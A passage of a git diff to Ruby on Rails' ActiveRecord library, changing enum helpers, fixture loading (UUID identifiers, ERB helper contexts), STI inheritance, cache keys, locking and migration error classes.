+ # def status_before_type_cast() statuses.key self[:status] end
+ klass.send(:detect_enum_conflict!, name, "#{name}_before_type_cast")
+ define_method("#{name}_before_type_cast") { enum_values.key self[name] }
+
+ pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
+ pairs.each do |value, i|
+ enum_values[value] = i
+
+ # def active?() status == 0 end
+ klass.send(:detect_enum_conflict!, name, "#{value}?")
+ define_method("#{value}?") { self[name] == i }
+
+ # def active!() update! status: :active end
+ klass.send(:detect_enum_conflict!, name, "#{value}!")
+ define_method("#{value}!") { update! name => value }
+
+ # scope :active, -> { where status: 0 }
+ klass.send(:detect_enum_conflict!, name, value, true)
+ klass.scope value, -> { klass.where name => i }
+ end
+ end
+ defined_enums[name.to_s] = enum_values
+ end
+ end
+
+ private
+ def _enum_methods_module
+ @_enum_methods_module ||= begin
+ mod = Module.new do
+ private
+ def save_changed_attribute(attr_name, value)
+ if (mapping = self.class.defined_enums[attr_name.to_s])
+ if attribute_changed?(attr_name)
+ old = changed_attributes[attr_name]
+
+ if mapping[old] == value
+ changed_attributes.delete(attr_name)
+ end
+ else
+ old = clone_attribute_value(:read_attribute, attr_name)
+
+ if old != value
+ changed_attributes[attr_name] = mapping.key old
+ end
+ end
+ else
+ super
+ end
+ end
+ end
+ include mod
+ mod
+ end
+ end
+
+ ENUM_CONFLICT_MESSAGE = \
+ "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
+ "this will generate a %{type} method \"%{method}\", which is already defined " \
+ "by %{source}."
+
+ def detect_enum_conflict!(enum_name, method_name, klass_method = false)
+ if klass_method && dangerous_class_method?(method_name)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'class',
+ method: method_name,
+ source: 'Active Record'
+ }
+ elsif !klass_method && dangerous_attribute_method?(method_name)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'instance',
+ method: method_name,
+ source: 'Active Record'
+ }
+ elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'instance',
+ method: method_name,
+ source: 'another enum'
+ }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index 7e38719811..71efbb8f93 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -94,6 +94,10 @@ module ActiveRecord
class PreparedStatementInvalid < ActiveRecordError
end
+ # Raised when a given database does not exist
+ class NoDatabaseError < StatementInvalid
+ end
+
# Raised on attempt to save stale record. Record is stale when it's being saved in another query after
# instantiation, for example, when two users edit the same wiki page and one starts editing and saves
# the page before the other.
@@ -188,7 +192,7 @@ module ActiveRecord
end
end
- # Raised when a primary key is needed, but there is not one specified in the schema or model.
+ # Raised when a primary key is needed, but not specified in the schema or model.
class UnknownPrimaryKey < ActiveRecordError
attr_reader :model
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index fbd7a4d891..8132310c91 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -38,7 +38,8 @@ module ActiveRecord
end
def render(content)
- ERB.new(content).result
+ context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+ ERB.new(content).result(context.get_binding)
end
# Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 70eda332b3..47d32fae05 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -2,6 +2,7 @@ require 'erb'
require 'yaml'
require 'zlib'
require 'active_support/dependencies'
+require 'active_support/core_ext/securerandom'
require 'active_record/fixture_set/file'
require 'active_record/errors'
@@ -119,6 +120,23 @@ module ActiveRecord
# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
# in fixtures are to be considered a code smell.
#
+ # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+ # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+ # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+ #
+ # - define a helper method in `test_helper.rb`
+ # class FixtureFileHelpers
+ # def file_sha(path)
+ # Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ # end
+ # end
+ # ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+ #
+ # - use the helper method in a fixture
+ # photo:
+ # name: kitten.png
+ # sha: <%= file_sha 'files/kitten.png' %>
+ #
# = Transactional Fixtures
#
# Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -344,6 +362,7 @@ module ActiveRecord
# geeksomnia:
# name: Geeksomnia's Account
# subdomain: $LABEL
+ # email: $LABEL@email.com
#
# Also, sometimes (like when porting older join table fixtures) you'll need
# to be able to get a hold of the identifier for a given label. ERB
@@ -379,22 +398,16 @@ module ActiveRecord
@@all_cached_fixtures = Hash.new { |h,k| h[k] = {} }
- def self.find_table_name(fixture_set_name) # :nodoc:
- ActiveSupport::Deprecation.warn(
- "ActiveRecord::Fixtures.find_table_name is deprecated and shall be removed from future releases. Use ActiveRecord::Fixtures.default_fixture_model_name instead.")
- default_fixture_model_name(fixture_set_name)
- end
-
- def self.default_fixture_model_name(fixture_set_name) # :nodoc:
- ActiveRecord::Base.pluralize_table_names ?
+ def self.default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+ config.pluralize_table_names ?
fixture_set_name.singularize.camelize :
fixture_set_name.camelize
end
- def self.default_fixture_table_name(fixture_set_name) # :nodoc:
- "#{ ActiveRecord::Base.table_name_prefix }"\
+ def self.default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+ "#{ config.table_name_prefix }"\
"#{ fixture_set_name.tr('/', '_') }"\
- "#{ ActiveRecord::Base.table_name_suffix }".to_sym
+ "#{ config.table_name_suffix }".to_sym
end
def self.reset_cache
@@ -442,9 +455,47 @@ module ActiveRecord
cattr_accessor :all_loaded_fixtures
self.all_loaded_fixtures = {}
- def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {})
+ class ClassCache
+ def initialize(class_names, config)
+ @class_names = class_names.stringify_keys
+ @config = config
+
+ # Remove string values that aren't constants or subclasses of AR
+ @class_names.delete_if { |k,klass|
+ unless klass.is_a? Class
+ klass = klass.safe_constantize
+ ActiveSupport::Deprecation.warn("The ability to pass in strings as a class name to `set_fixture_class` will be removed in Rails 4.2. Use the class itself instead.")
+ end
+ !insert_class(@class_names, k, klass)
+ }
+ end
+
+ def [](fs_name)
+ @class_names.fetch(fs_name) {
+ klass = default_fixture_model(fs_name, @config).safe_constantize
+ insert_class(@class_names, fs_name, klass)
+ }
+ end
+
+ private
+
+ def insert_class(class_names, name, klass)
+ # We only want to deal with AR objects.
+ if klass && klass < ActiveRecord::Base
+ class_names[name] = klass
+ else
+ class_names[name] = nil
+ end
+ end
+
+ def default_fixture_model(fs_name, config)
+ ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+ end
+ end
+
+ def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
fixture_set_names = Array(fixture_set_names).map(&:to_s)
- class_names = class_names.stringify_keys
+ class_names = ClassCache.new class_names, config
# FIXME: Apparently JK uses this.
connection = block_given? ? yield : ActiveRecord::Base.connection
@@ -458,10 +509,12 @@ module ActiveRecord
fixtures_map = {}
fixture_sets = files_to_read.map do |fs_name|
+ klass = class_names[fs_name]
+ conn = klass ? klass.connection : connection
fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
- connection,
+ conn,
fs_name,
- class_names[fs_name] || default_fixture_model_name(fs_name),
+ klass,
::File.join(fixtures_directory, fs_name))
end
@@ -498,32 +551,45 @@ module ActiveRecord
end
# Returns a consistent, platform-independent identifier for +label+.
- # Identifiers are positive integers less than 2^32.
- def self.identify(label)
- Zlib.crc32(label.to_s) % MAX_ID
+ # Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
+ def self.identify(label, column_type = :integer)
+ if column_type == :uuid
+ SecureRandom.uuid_v5(SecureRandom::UUID_OID_NAMESPACE, label.to_s)
+ else
+ Zlib.crc32(label.to_s) % MAX_ID
+ end
end
- attr_reader :table_name, :name, :fixtures, :model_class
+ # Superclass for the evaluation contexts used by ERB fixtures.
+ def self.context_class
+ @context_class ||= Class.new
+ end
+
+ attr_reader :table_name, :name, :fixtures, :model_class, :config
- def initialize(connection, name, class_name, path)
- @fixtures = {} # Ordered hash
+ def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
@name = name
@path = path
+ @config = config
+ @model_class = nil
+
+ if class_name.is_a?(String)
+ ActiveSupport::Deprecation.warn("The ability to pass in strings as a class name to `FixtureSet.new` will be removed in Rails 4.2. Use the class itself instead.")
+ end
if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
@model_class = class_name
else
- @model_class = class_name.constantize rescue nil
+ @model_class = class_name.safe_constantize if class_name
end
- @connection = ( model_class.respond_to?(:connection) ?
- model_class.connection : connection )
+ @connection = connection
@table_name = ( model_class.respond_to?(:table_name) ?
model_class.table_name :
- self.class.default_fixture_table_name(name) )
+ self.class.default_fixture_table_name(name, config) )
- read_fixture_files
+ @fixtures = read_fixture_files path, @model_class
end
def [](x)
@@ -542,10 +608,10 @@ module ActiveRecord
fixtures.size
end
- # Return a hash of rows to be inserted. The key is the table, the value is
+ # Returns a hash of rows to be inserted. The key is the table, the value is
# a list of rows to insert to that table.
def table_rows
- now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
+ now = config.default_timezone == :utc ? Time.now.utc : Time.now
now = now.to_s(:db)
# allow a standard key to be used for doing defaults in YAML
@@ -557,7 +623,7 @@ module ActiveRecord
rows[table_name] = fixtures.map do |label, fixture|
row = fixture.to_hash
- if model_class && model_class < ActiveRecord::Base
+ if model_class
# fill in timestamp columns if they aren't specified and the model is set to record_timestamps
if model_class.record_timestamps
timestamp_column_names.each do |c_name|
@@ -567,12 +633,12 @@ module ActiveRecord
# interpolate the fixture label
row.each do |key, value|
- row[key] = label if "$LABEL" == value
+ row[key] = value.gsub("$LABEL", label) if value.is_a?(String)
end
# generate a primary key if necessary
if has_primary_key_column? && !row.include?(primary_key_name)
- row[primary_key_name] = ActiveRecord::FixtureSet.identify(label)
+ row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type)
end
# If STI is used, find the correct subclass for association reflection
@@ -595,16 +661,12 @@ module ActiveRecord
row[association.foreign_type] = $1
end
- row[fk_name] = ActiveRecord::FixtureSet.identify(value)
+ fk_type = association.active_record.columns_hash[association.foreign_key].type
+ row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
end
- when :has_and_belongs_to_many
- if (targets = row.delete(association.name.to_s))
- targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
- table_name = association.join_table
- rows[table_name].concat targets.map { |target|
- { association.foreign_key => row[primary_key_name],
- association.association_foreign_key => ActiveRecord::FixtureSet.identify(target) }
- }
+ when :has_many
+ if association.options[:through]
+ add_join_records(rows, row, HasManyThroughProxy.new(association))
end
end
end
@@ -615,11 +677,59 @@ module ActiveRecord
rows
end
+ class ReflectionProxy # :nodoc:
+ def initialize(association)
+ @association = association
+ end
+
+ def join_table
+ @association.join_table
+ end
+
+ def name
+ @association.name
+ end
+
+ def primary_key_type
+ @association.klass.column_types[@association.klass.primary_key].type
+ end
+ end
+
+ class HasManyThroughProxy < ReflectionProxy # :nodoc:
+ def rhs_key
+ @association.foreign_key
+ end
+
+ def lhs_key
+ @association.through_reflection.foreign_key
+ end
+ end
+
private
def primary_key_name
@primary_key_name ||= model_class && model_class.primary_key
end
+ def primary_key_type
+ @primary_key_type ||= model_class && model_class.column_types[model_class.primary_key].type
+ end
+
+ def add_join_records(rows, row, association)
+ # This is the case when the join table has no fixtures file
+ if (targets = row.delete(association.name.to_s))
+ table_name = association.join_table
+ column_type = association.primary_key_type
+ lhs_key = association.lhs_key
+ rhs_key = association.rhs_key
+
+ targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+ rows[table_name].concat targets.map { |target|
+ { lhs_key => row[primary_key_name],
+ rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
+ }
+ end
+ end
+
def has_primary_key_column?
@has_primary_key_column ||= primary_key_name &&
model_class.columns.any? { |c| c.name == primary_key_name }
@@ -638,12 +748,12 @@ module ActiveRecord
@column_names ||= @connection.columns(@table_name).collect { |c| c.name }
end
- def read_fixture_files
- yaml_files = Dir["#{@path}/**/*.yml"].select { |f|
+ def read_fixture_files(path, model_class)
+ yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
::File.file?(f)
- } + [yaml_file_path]
+ } + [yaml_file_path(path)]
- yaml_files.each do |file|
+ yaml_files.each_with_object({}) do |file, fixtures|
FixtureSet::File.open(file) do |fh|
fh.each do |fixture_name, row|
fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
@@ -652,8 +762,8 @@ module ActiveRecord
end
end
- def yaml_file_path
- "#{@path}.yml"
+ def yaml_file_path(path)
+ "#{path}.yml"
end
end
@@ -725,14 +835,16 @@ module ActiveRecord
class_attribute :use_transactional_fixtures
class_attribute :use_instantiated_fixtures # true, false, or :no_instances
class_attribute :pre_loaded_fixtures
+ class_attribute :config
self.fixture_table_names = []
self.use_transactional_fixtures = true
self.use_instantiated_fixtures = false
self.pre_loaded_fixtures = false
+ self.config = ActiveRecord::Base
self.fixture_class_names = Hash.new do |h, fixture_set_name|
- h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name)
+ h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name, self.config)
end
end
@@ -745,27 +857,20 @@ module ActiveRecord
# 'namespaced/fixture' => Another::Model
#
# The keys must be the fixture names, that coincide with the short paths to the fixture files.
- #--
- # It is also possible to pass the class name instead of the class:
- # set_fixture_class 'some_fixture' => 'SomeModel'
- # I think this option is redundant, i propose to deprecate it.
- # Isn't it easier to always pass the class itself?
- # (2011-12-20 alexeymuranov)
- #++
def set_fixture_class(class_names = {})
self.fixture_class_names = self.fixture_class_names.merge(class_names.stringify_keys)
end
def fixtures(*fixture_set_names)
if fixture_set_names.first == :all
- fixture_set_names = Dir["#{fixture_path}/**/*.{yml}"]
+ fixture_set_names = Dir["#{fixture_path}/{**,*}/*.{yml}"]
fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
else
fixture_set_names = fixture_set_names.flatten.map { |n| n.to_s }
end
self.fixture_table_names |= fixture_set_names
- require_fixture_classes(fixture_set_names)
+ require_fixture_classes(fixture_set_names, self.config)
setup_fixture_accessors(fixture_set_names)
end
@@ -780,7 +885,7 @@ module ActiveRecord
end
end
- def require_fixture_classes(fixture_set_names = nil)
+ def require_fixture_classes(fixture_set_names = nil, config = ActiveRecord::Base)
if fixture_set_names
fixture_set_names = fixture_set_names.map { |n| n.to_s }
else
@@ -788,7 +893,7 @@ module ActiveRecord
end
fixture_set_names.each do |file_name|
- file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
+ file_name = file_name.singularize if config.pluralize_table_names
try_to_load_dependency(file_name)
end
end
@@ -840,7 +945,7 @@ module ActiveRecord
!self.class.uses_transaction?(method_name)
end
- def setup_fixtures
+ def setup_fixtures(config = ActiveRecord::Base)
if pre_loaded_fixtures && !use_transactional_fixtures
raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
end
@@ -854,7 +959,7 @@ module ActiveRecord
if @@already_loaded_fixtures[self.class]
@loaded_fixtures = @@already_loaded_fixtures[self.class]
else
- @loaded_fixtures = load_fixtures
+ @loaded_fixtures = load_fixtures(config)
@@already_loaded_fixtures[self.class] = @loaded_fixtures
end
@fixture_connections = enlist_fixture_connections
@@ -865,11 +970,11 @@ module ActiveRecord
else
ActiveRecord::FixtureSet.reset_cache
@@already_loaded_fixtures[self.class] = nil
- @loaded_fixtures = load_fixtures
+ @loaded_fixtures = load_fixtures(config)
end
# Instantiate fixtures for every test if requested.
- instantiate_fixtures if use_instantiated_fixtures
+ instantiate_fixtures(config) if use_instantiated_fixtures
end
def teardown_fixtures
@@ -891,19 +996,19 @@ module ActiveRecord
end
private
- def load_fixtures
- fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+ def load_fixtures(config)
+ fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names, config)
Hash[fixtures.map { |f| [f.name, f] }]
end
# for pre_loaded_fixtures, only require the classes once. huge speed improvement
@@required_fixture_classes = false
- def instantiate_fixtures
+ def instantiate_fixtures(config)
if pre_loaded_fixtures
raise RuntimeError, 'Load fixtures before instantiating them.' if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
unless @@required_fixture_classes
- self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys
+ self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys, config
@@required_fixture_classes = true
end
ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
@@ -920,3 +1025,13 @@ module ActiveRecord
end
end
end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+ def self.create_subclass
+ Class.new ActiveRecord::FixtureSet.context_class do
+ def get_binding
+ binding()
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
new file mode 100644
index 0000000000..4a7aace460
--- /dev/null
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+ # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index e826762def..08fc91c9df 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -16,15 +16,19 @@ module ActiveRecord
# instance of the given subclass instead of the base class.
def new(*args, &block)
if abstract_class? || self == Base
- raise NotImplementedError, "#{self} is an abstract class and can not be instantiated."
+ raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
end
- if (attrs = args.first).is_a?(Hash)
- if subclass = subclass_from_attrs(attrs)
- return subclass.new(*args, &block)
- end
+
+ attrs = args.first
+ if subclass_from_attributes?(attrs)
+ subclass = subclass_from_attributes(attrs)
+ end
+
+ if subclass
+ subclass.new(*args, &block)
+ else
+ super
end
- # Delegate to the original .new
- super
end
# Returns +true+ if this does not need STI type condition. Returns
@@ -45,10 +49,12 @@ module ActiveRecord
end
def symbolized_base_class
+ ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_base_class is deprecated and will be removed without replacement.")
@symbolized_base_class ||= base_class.to_s.to_sym
end
def symbolized_sti_name
+ ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_sti_name is deprecated and will be removed without replacement.")
@symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
end
@@ -124,7 +130,7 @@ module ActiveRecord
end
end
- raise NameError, "uninitialized constant #{candidates.first}"
+ raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
end
end
@@ -160,7 +166,7 @@ module ActiveRecord
end
def type_condition(table = arel_table)
- sti_column = table[inheritance_column.to_sym]
+ sti_column = table[inheritance_column]
sti_names = ([self] + descendants).map { |model| model.sti_name }
sti_column.in(sti_names)
@@ -170,7 +176,11 @@ module ActiveRecord
# is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
# If this is a StrongParameters hash, and access to inheritance_column is not permitted,
# this will ignore the inheritance column and return nil
- def subclass_from_attrs(attrs)
+ def subclass_from_attributes?(attrs)
+ columns_hash.include?(inheritance_column) && attrs.is_a?(Hash)
+ end
+
+ def subclass_from_attributes(attrs)
subclass_name = attrs.with_indifferent_access[inheritance_column]
if subclass_name.present? && subclass_name != self.name
@@ -185,8 +195,18 @@ module ActiveRecord
end
end
+ def initialize_dup(other)
+ super
+ ensure_proper_type
+ end
+
private
+ def initialize_internals_callback
+ super
+ ensure_proper_type
+ end
+
# Sets the attribute used for single table inheritance to this class name if this is not the
# ActiveRecord::Base descendant.
# Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 2589b2f3da..31e2518540 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/string/filters'
+
module ActiveRecord
module Integration
extend ActiveSupport::Concern
@@ -45,10 +47,19 @@ module ActiveRecord
# Product.new.cache_key # => "products/new"
# Product.find(5).cache_key # => "products/5" (updated_at not available)
# Person.find(5).cache_key # => "people/5-20071224150000" (updated_at available)
- def cache_key
+ #
+ # You can also pass a list of named timestamps, and the newest in the list will be
+ # used to generate the key:
+ #
+ # Person.find(5).cache_key(:updated_at, :last_reviewed_at)
+ def cache_key(*timestamp_names)
case
when new_record?
"#{self.class.model_name.cache_key}/new"
+ when timestamp_names.any?
+ timestamp = max_updated_column_timestamp(timestamp_names)
+ timestamp = timestamp.utc.to_s(cache_timestamp_format)
+ "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
when timestamp = max_updated_column_timestamp
timestamp = timestamp.utc.to_s(cache_timestamp_format)
"#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
@@ -56,5 +67,47 @@ module ActiveRecord
"#{self.class.model_name.cache_key}/#{id}"
end
end
+
+ module ClassMethods
+ # Defines your model's +to_param+ method to generate "pretty" URLs
+ # using +method_name+, which can be any attribute or method that
+ # responds to +to_s+.
+ #
+ # class User < ActiveRecord::Base
+ # to_param :name
+ # end
+ #
+ # user = User.find_by(name: 'Fancy Pants')
+ # user.id # => 123
+ # user_path(user) # => "/users/123-fancy-pants"
+ #
+ # Values longer than 20 characters will be truncated. The value
+ # is truncated word by word.
+ #
+ # user = User.find_by(name: 'David HeinemeierHansson')
+ # user.id # => 125
+ # user_path(user) # => "/users/125-david"
+ #
+ # Because the generated param begins with the record's +id+, it is
+ # suitable for passing to +find+. In a controller, for example:
+ #
+ # params[:id] # => "123-fancy-pants"
+ # User.find(params[:id]).id # => 123
+ def to_param(method_name = nil)
+ if method_name.nil?
+ super()
+ else
+ define_method :to_param do
+ if (default = super()) &&
+ (result = send(method_name).to_s).present? &&
+ (param = result.squish.truncate(20, separator: /\s/, omission: nil).parameterize).present?
+ "#{default}-#{param}"
+ else
+ default
+ end
+ end
+ end
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 209de78898..4d63b04d9f 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -66,7 +66,7 @@ module ActiveRecord
send(lock_col + '=', previous_lock_value + 1)
end
- def update_record(attribute_names = @attributes.keys) #:nodoc:
+ def _update_record(attribute_names = @attributes.keys) #:nodoc:
return super unless locking_enabled?
return 0 if attribute_names.empty?
@@ -82,9 +82,12 @@ module ActiveRecord
stmt = relation.where(
relation.table[self.class.primary_key].eq(id).and(
- relation.table[lock_col].eq(self.class.quote_value(previous_lock_value))
+ relation.table[lock_col].eq(self.class.quote_value(previous_lock_value, column_for_attribute(lock_col)))
)
- ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
+ ).arel.compile_update(
+ arel_attributes_with_values_for_update(attribute_names),
+ self.class.primary_key
+ )
affected_rows = self.class.connection.update stmt
@@ -138,6 +141,7 @@ module ActiveRecord
# Set the column to use for optimistic locking. Defaults to +lock_version+.
def locking_column=(value)
+ @column_defaults = nil
@locking_column = value.to_s
end
@@ -149,6 +153,7 @@ module ActiveRecord
# Quote the column name used for optimistic locking.
def quoted_locking_column
+ ActiveSupport::Deprecation.warn "ActiveRecord::Base.quoted_locking_column is deprecated and will be removed in Rails 4.2 or later."
connection.quote_column_name(locking_column)
end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index ddf2afca0c..ff7102d35b 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -3,12 +3,12 @@ module ActiveRecord
# Locking::Pessimistic provides support for row-level locking using
# SELECT ... FOR UPDATE and other lock types.
#
- # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+ # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
# lock on the selected rows:
# # select * from accounts where id=1 for update
- # Account.find(1, lock: true)
+ # Account.lock.find(1)
#
- # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+ # Call <tt>lock('some locking clause')</tt> to use a database-specific locking clause
# of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
#
# Account.transaction do
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index 0358a36b14..eb64d197f0 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -17,13 +17,15 @@ module ActiveRecord
def initialize
super
- @odd_or_even = false
+ @odd = false
end
def render_bind(column, value)
if column
if column.binary?
- value = "<#{value.bytesize} bytes of binary data>"
+ # This specifically deals with the PG adapter that casts bytea columns into a Hash.
+ value = value[:value] if value.is_a?(Hash)
+ value = value ? "<#{value.bytesize} bytes of binary data>" : "<NULL binary data>"
end
[column.name, value]
@@ -60,17 +62,8 @@ module ActiveRecord
debug " #{name} #{sql}#{binds}"
end
- def identity(event)
- return unless logger.debug?
-
- name = color(event.payload[:name], odd? ? CYAN : MAGENTA, true)
- line = odd? ? color(event.payload[:line], nil, true) : event.payload[:line]
-
- debug " #{name} #{line}"
- end
-
def odd?
- @odd_or_even = !@odd_or_even
+ @odd = !@odd
end
def logger
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index e96c347f6f..b6b02322d7 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,38 +1,49 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require 'set'
module ActiveRecord
+ class MigrationError < ActiveRecordError#:nodoc:
+ def initialize(message = nil)
+ message = "\n\n#{message}\n\n" if message
+ super
+ end
+ end
+
# Exception that can be raised to stop migrations from going backwards.
- class IrreversibleMigration < ActiveRecordError
+ class IrreversibleMigration < MigrationError
end
- class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationVersionError < MigrationError#:nodoc:
def initialize(version)
super("Multiple migrations have the version number #{version}")
end
end
- class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Multiple migrations have the name #{name}")
end
end
- class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+ class UnknownMigrationVersionError < MigrationError #:nodoc:
def initialize(version)
super("No migration with version number #{version}")
end
end
- class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+ class IllegalMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
end
end
- class PendingMigrationError < ActiveRecordError#:nodoc:
+ class PendingMigrationError < MigrationError#:nodoc:
def initialize
- super("Migrations are pending; run 'rake db:migrate RAILS_ENV=#{Rails.env}' to resolve this issue.")
+ if defined?(Rails)
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
+ else
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
+ end
end
end
@@ -120,8 +131,8 @@ module ActiveRecord
# a column but keeps the type and content.
# * <tt>change_column(table_name, column_name, type, options)</tt>: Changes
# the column to a different type using the same parameters as add_column.
- # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
- # +column_names+ from the table called +table_name+.
+ # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
+ # named +column_name+ from the table called +table_name+.
# * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
# with the name of the column. Other options include
# <tt>:name</tt>, <tt>:unique</tt> (e.g.
@@ -373,23 +384,36 @@ module ActiveRecord
class << self
attr_accessor :delegate # :nodoc:
attr_accessor :disable_ddl_transaction # :nodoc:
- end
- def self.check_pending!
- raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
- end
+ def check_pending!(connection = Base.connection)
+ raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+ end
- def self.method_missing(name, *args, &block) # :nodoc:
- (delegate || superclass.delegate).send(name, *args, &block)
- end
+ def load_schema_if_pending!
+ if ActiveRecord::Migrator.needs_migration?
+ ActiveRecord::Tasks::DatabaseTasks.load_schema
+ check_pending!
+ end
+ end
- def self.migrate(direction)
- new.migrate direction
- end
+ def maintain_test_schema! # :nodoc:
